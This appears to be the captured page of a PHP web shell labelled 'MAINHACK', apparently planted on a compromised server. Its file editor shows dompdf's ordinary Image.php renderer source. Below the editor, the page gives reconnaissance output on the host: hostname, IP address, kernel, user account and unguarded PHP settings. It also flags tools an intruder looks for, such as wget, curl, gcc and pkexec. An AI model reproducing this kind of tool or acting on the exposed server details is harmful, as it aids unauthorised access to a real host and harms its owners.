[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Image.php
<?php /** * @package dompdf * @link https://github.com/dompdf/dompdf * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License */ namespace Dompdf\Renderer; use Dompdf\Frame; use Dompdf\FrameDecorator\Image as ImageFrameDecorator; use Dompdf\Image\Cache; /** * Image renderer * * @package dompdf */ class Image extends Block { /** * @param ImageFrameDecorator $frame */ function render(Frame $frame) { $style = $frame->get_style(); $node = $frame->get_node(); $border_box = $frame->get_border_box(); $this->_set_opacity($frame->get_opacity($style->opacity)); // Render background & borders $this->_render_background($frame, $border_box); $this->_render_border($frame, $border_box); $this->_render_outline($frame, $border_box); $content_box = $frame->get_content_box(); [$x, $y, $w, $h] = $content_box; $src = $frame->get_image_url(); if (Cache::is_broken($src) && ($alt = $node->getAttribute("alt")) !== "") { $font = $style->font_family; $size = $style->font_size; $word_spacing = $style->word_spacing; $letter_spacing = $style->letter_spacing; $this->_canvas->text( $x, $y, $alt, $font, $size, $style->color, $word_spacing, $letter_spacing ); } elseif ($w > 0 && $h > 0) { if ($style->has_border_radius()) { [$tl, $tr, $br, $bl] = $style->resolve_border_radius($border_box, $content_box); $this->_canvas->clipping_roundrectangle($x, $y, $w, $h, $tl, $tr, $br, $bl); } $this->_canvas->image($src, $x, $y, $w, $h, $style->image_resolution); if ($style->has_border_radius()) { $this->_canvas->clipping_end(); } } $this->addNamedDest($node); $this->debugBlockLayout($frame, "blue"); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002